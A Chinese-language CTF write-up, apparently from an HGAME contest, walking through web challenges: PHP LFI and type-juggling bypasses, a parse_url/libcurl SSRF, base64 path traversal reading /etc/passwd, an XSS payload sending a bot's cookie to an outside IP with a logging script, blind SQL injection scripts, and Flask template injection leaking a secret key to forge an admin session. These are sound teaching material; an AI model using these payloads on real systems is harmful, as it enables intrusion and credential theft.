easy_php
访问robots.txt
,得到了img/index.php
的路径,访问后得到源码:
<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
$img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);
../
被过滤,可以用....//
来绕过。
因为出现了include_once()
,可以通过LFI
来读取flag
。
构造payload
得到flag
:
index.php?img=php://filter/read=convert.base64-encode/resource=....//flag
php trick
# index.php
<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}
if ((string)$str5>0){
die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}
step 1 fail
绕过$str1 == $str2
和md5($str1) != md5($str2)
因为$str1 = (string)@$_GET['str1'];
,有了强制转换成string
,所以不能使用数组绕过,通过弱比较绕过即可。
第二步的md5($str3) !== md5($str4)
就可以拿数组绕过了。
绕过strpos($_SERVER['QUERY_STRING'], "H_game")
可以用到php的恐龙特性。
然后$str5
要满足is_numeric($str5)
、$str5<9999999999
、(string)$str5>0
,数组就能实现绕过。
接下来的step 9
、step 10
和:
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
是简单的SSRF
。限制就是step 9
的parse_url($url, PHP_URL_HOST) !== "www.baidu.com"
。这里利用parse_url
和libcurl
的差异:
parse_url
中获取的host
是最后一个@
后面的host
,而libcurl
获取的是第一个@
后的。
可以构造user@127.0.0.1:80@www.baidu.com/admin.php
,这样curl
访问的还是127.0.0.1:80/admin.php
,而满足了条件。
访问admin.php
后得到了其代码:
# admin.php
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost can see it');
}
$filename = $_GET['filename']??'';
if (file_exists($filename)) {
echo "sorry,you can't see it";
}
else{
echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>
有file_get_contents()
,但是用file_exists()
判断的存在,有文件则不给看。利用file_get_contents
和file_exists
判断存在差异:
file_get_contents
会将路径转化为绝对路径而file_exists
不会。
构造filename=xxx/../flag.php
或者使用php
伪协议也可以读取。
最后payload
:
?str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2&H.game[]=3&url=http://user@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/resource=flag.php
Math
发现一张图片,源代码是<img src=/img/cXVlc3Rpb24ucG5n.php>
。
cXVlc3Rpb24ucG5n
经过base64
解密后为question.png
。
尝试把../../../etc/passwd
经过base64
编码后Li4vLi4vLi4vZXRjL3Bhc3N3ZA==
,放入url
中去读取:
http://test.tan90.me:8080/img/Li4vLi4vLi4vZXRjL3Bhc3N3ZA==.php
可以读到/etc/passwd
文件。
去读/proc/self/environ
:
view-source:http://test.tan90.me:8080/img/Li4vLi4vLi4vcHJvYy9zZWxmL2Vudmlyb24=.php
可以得到CATALINA_HOME=/usr/local/tomcat
。
去读/usr/local/tomcat/conf/server.xml
,是正常的tomcat
配置文件。
得到网站的根目录是/usr/local/tomcat/webapps/ROOT
。
这个是Java Web
,存在Spring MVC
,尝试去读/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
,可以看到url-pattern
部分:
<servlet>
<servlet-name>mathyouqu</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>mathyouqu</servlet-name>
<url-pattern>*.php</url-pattern>
</servlet-mapping>
有<servlet-name>mathyouqu</servlet-name>
这一行,说明有mathyouqu-servlet.xml
存在。但是里面没有具体文件名。
访问例如/img/==.php
来查看报错信息,看到一条:
hgame.controller.MathController.image(MathController.java:51)
然后去读取/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class
。
使用jad.exe去反编译得到源码:
$ jad -o -r -s java 1.class
得到关键java
代码:
public String Flag(ModelMap model)
{
System.out.println("This is the last question.");
System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
System.out.println("The flag is hgame{x}.x is a decimal number.");
model.addAttribute("flag", "Flag is not here.");
return "flag";
}
计算123852^x % 612799081 = 6181254136845 % 612799081
。
使用python
代码来运算:
import gmpy2
def bsgs(g,h,p):
if not gmpy2.is_prime(p):
return "p is not prime, you shouldn't use BSGS anyway."
N = int(gmpy2.ceil(gmpy2.sqrt(p - 1)))
tbl = {pow(g, i, p): i for i in range(N)}
c = pow(g, N * (p - 2), p)
for j in range(N):
y = (h * pow(c, j, p)) % p
if y in tbl: return j * N + tbl[y]
return None
print(bsgs(123852, 6181254136845, 612799081))
Baby_Spider
题目加了一些反爬trick
。
from bs4 import BeautifulSoup
import requests, re
url = 'http://x.x.x.x:xxxx'
token = ''
headers = {
'User-Agent': 'Mozilla/5.0 (X10; Windows10 x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3359.139 Safari/537.36'
}
request = requests.session()
request.headers = headers
def login():
request.post(url=url + '/', data=dict(token=token))
def get_question():
soup = BeautifulSoup(request.get(url=url + '/question').content, 'lxml')
question = soup.select_one('.questioncontainer').text[0:-2]
return question
def get_question2():
content = request.get(url=url + '/statics/style.css').text
question = re.search(r'content:"(?P<question>.*)"', content, re.M | re.I).group('question')[0:-2]
return question
def solve(question):
if re.search(r'[a-zA-Z]', question):
print(question)
exit()
solution = eval(question)
status = request.post(url=url + '/solution', data=dict(answer=str(solution))).status_code
print(question, solution, status)
if __name__ == '__main__':
login()
for i in range(31):
if i < 10:
question = get_question()
solve(question)
elif i >= 10 and i < 20:
question = get_question()
table = str.maketrans('01345679', '10694357')
real_question = question.translate(table)
solve(real_question)
elif i >= 20 <= 30:
question = get_question2()
solve(question)
print(request.get(url + '/').text)
Babyxss
这题后面用bot
在运转,所以要我们打到admin
也就是bot
的cookie
。
进去看到substr(md5($_POST["code"]),0,4)===8859
。
一个很常规的ctf
验证码,用python
得到答案:
import hashlib
def md5(key):
m = hashlib.md5()
m.update(key.encode('utf-8'))
return m.hexdigest()
for i in range(1000000):
if md5(str(i))[0:4] == 'd4f7':
print(i)
break
验证码是20748
。
经过测试,输入框过滤了一些关键字,例如<scirpt>
被过滤为空,可以双写绕过。构造:
<scr<script>ipt>document.write("http://118.25.89.91/?'+document.cookie'")</scr</script>ipt>
自己云主机上新建一个receive.php
:
<?php
$cookie=$_GET['cookie'];
$ip=getenv('REMOTE_ADDR');
$time=date('Y-m-d g:i:s');
$referer=getenv('HTTP_REFERER');
$rec=fopen('cookie.txt','a');
fwrite($rec,"IP:".$ip."| time:".$time."| referer:".$referer."| cookie:".$cookie."\n");
fclose($rec);
?>
就可以得到flag
了。
sqli-1
普通的数字型sql
注入。
id=1 union select database() # // hgame
id=1 union select table_name from information_schema.tables where table_schema=database() # // welcome、f1l1l1l1g、words
id=1 union select column_name from information_schema.columns where table_name='f1l1l1l1g' # // welcom、f14444444g
id=1 union select f14444444g from f1l1l1l1g #
sqli-2
sql
盲注。没回显一般会选择时间盲注、布尔盲注、报错注入。
因为这里只会告诉你sql
被执行了还是sql
语句错误,所以没法使用布尔盲注。
时间盲注payload
:
1 and if((1=2),sleep(2.5),0) #
报错注入payload
:
1 and if((1=2),exp(9999999),1) #
时间盲注脚本:
import requests
import hashlib
import re
import time
url = 'http://118.89.111.179:3001/index.php'
def md5(s):
return hashlib.md5(s.encode('utf-8')).hexdigest()
def Get_Database():
for i in range(20):
print("Finding the database length............"+str(i))
payload = "1 and if(length((select schema_name from information_schema.schemata limit 1,1))="+str(i)+",sleep(5),0)"
time = Get_Data(payload)
if time >=4.5:
databaseLen = i
print("[*] The database length is "+ str(i))
break
database = ''
for i in range(databaseLen):
print("Finding the database Name............")
for j in range(33,127):
payload = "1 and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)"
time = Get_Data(payload)
if time >=4.5:
database += chr(int(j))
continue
print("[*] The current database is "+ database)
def Get_tables():
for i in range(20):
print("Finding the table's length..............")
payload = "1 and if(length((select table_name from information_schema.tables where table_schema= database() limit 0,1))="+str(i)+",sleep(5),0)"
time = Get_Data(payload)
if time >=4.5:
table_len = i
print("[*] The table length is "+str(i))
break
table_name = ''
for i in range(table_len):
print("Finding the table name...................")
for j in range(33,127):
payload = "1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),"+str(i+1)+",1))="+str(j)+",sleep(5),1)"
time = Get_Data(payload)
if time >=4.5:
table_name += chr(int(j))
continue
print("[*] The current table is "+ table_name)
def Get_columns():
for i in range(30):
print("Finding the columns. length..................")
payload = "1 and if(length((select column_name from information_schema.columns where table_schema= database() and table_name= F11111114G limit 0,1))="+str(i)+",sleep(5),0)"
time = Get_Data(payload)
if time >=4.5:
columns_len = i
print("[*] The columns length is "+str(i))
break
columns_name = ''
for i in range(columns_len):
print("[*] Finding the columns name:")
for j in range(33,127):
payload = "1 and if(ascii(substr((select column_name from information_schema.columns where table_schema= database() and table_name= F11111114G limit 0,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)"
time = Get_Data(payload)
if time >=4.5:
columns_name += chr(int(j))
continue
print("[*] The current columns is "+ columns_name)
def Get_flag():
for i in range(50):
print("[*] Finding Flag")
payload = "1 and if(length((select fL4444Ag from F11111114G limit 0,1))="+str(i)+",sleep(5),1)"
time = Get_Data(payload)
if time >=4.5:
flag_len = i
print("[*] The flag length is "+str(i))
break
flag = ''
for i in range(flag_len):
for j in range(33,127):
payload = "1 and if(ascii(substr((select fL4444Ag from F11111114G limit 0,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)"
time = Get_Data(payload)
if time >=4.5:
flag += chr(int(j))
continue
print("[*] The flag is "+ flag)
def Get_Data(payload):
s = requests.session()
string = r"===.*<br>"
r = s.get(url)
code = re.search(string,r.text).group()
code = code.replace("=== ","")
code = code.replace("<br>","")
for i in range(1, 1000000):
if md5(str(i)).startswith(code):
break
data = {'code':i,'id':payload}
start = time.time()
get = s.get(url,params = data)
end = time.time()
return (end-start)
if __name__ == '__main__':
Get_Database()
Get_tables()
Get_columns()
Get_flag()
报错注入脚本:
import requests
import hashlib
url = "http://118.89.111.179:3001/"
rs =requests.session()
def get_code():
r = rs.get(url)
substr = r.text.split('= ')[1].split('<')[0]
for i in range(1000000):
if hashlib.md5(str(i)).hexdigest()[0:4] == substr:
return str(i)
def run_sql(payload):
flag = ''
key = 0
for i in range(1,40):
for j in range(37,127):
pay=payload.format(str(i),str(j))
r = rs.get(url+'?code='+get_code()+'&id='+pay)
if "error" in r.text:
print str(i) + "--------" + chr(j)
flag +=chr(j)
print "[*] :" + flag
key = 1
break
if key == 0:
break
payload="1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},1,exp(~0))"
payload="1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='F11111114G'),{0},1))>{1},1,exp(~0))"
payload="1 and if(ascii(substr((select group_concat(fL4444Ag) from F11111114G),{0},1))>{1},1,exp(~0))"
run_sql(payload)
happyPython
可以看出来是Flask
写的Web
。
输入url
输入:
http://118.25.18.223:3001/{{config}}
看到flask
的一些配置信息。
注册登录后,可以在cookie
里的session
:
session:.eJwlj0FqAzEMAP_icw6ybEl2PrNIskRDoIXd5FT69xh6HgZmfsuRZ1xf5f4633Erx2OVewGqFWq6NnRbKHPl4pg8JoYTjVEDON1YCYfggu4TwaVHqucM7ESN-2BuZAKxZXf23jnBeqsMkKY6GVkRxjR07aQhNpZjWLkVv848Xj_P-N49UYUTDWHp5jA7QasKCLIghpEY7BKG7b2vOP8napPy9wEjGT8m.XHEbQg.hcFtxcotNptGd_pPRANtWNdEZXA
这里尝试通过构造session
把自己变成admin
。
访问:
http://118.25.18.223:3001/{{get_flashed_messages.__globals__['current_app'].config}}}}
可以找到:
'SECRET_KEY': '9RxdzNwq7!nOoK3*'
使用session-cookie-manager
解密:
$ python session_cookie_manager.py decode -c ".eJwlj0FqAzEMAP_icw6ybEl2PrNIskRDoIXd5FT69xh6HgZmfsuRZ1xf5f4633Erx2OVewGqFWq6NnRbKHPl4pg8JoYTjVEDON1YCYfggu4TwaVHqucM7ESN-2BuZAKxZXf23jnBeqsMkKY6GVkRxjR07aQhNpZjWLkVv848Xj_P-N49UYUTDWHp5jA7QasKCLIghpEY7BKG7b2vOP8napPy9wEjGT8m.XHEbQg.hcFtxcotNptGd_pPRANtWNdEZXA"
得到:
{"_fresh":true,"_id":"051101fca32cbd279dfd6e96892ec55881e06fcb6a52872d04c920c74efacf9e245536486635b70ed6ecc6c446f0b431600fbaa9626a2089b2ca45ae7b8dc2eb","csrf_token":"e176f2b20dadc20945031a0207d0e8b57b0a5260","user_id":"137"}
把"user_id":"137"
变成"user_id":"1"
后进行加密:
$ python session_cookie_manager.py encode -t "{'_fresh':true,'_id':'051101fca32cbd279dfd6e96892ec55881e06fcb6a52872d04c920c74efacf9e245536486635b70ed6ecc6c446f0b431600fbaa9626a2089b2ca45ae7b8dc2eb','csrf_token':'e176f2b20dadc20945031a0207d0e8b57b0a5260','user_id':'1'}" -s "9RxdzNwq7!nOoK3*"
得到session
后替换原有session
后刷新得到flag
。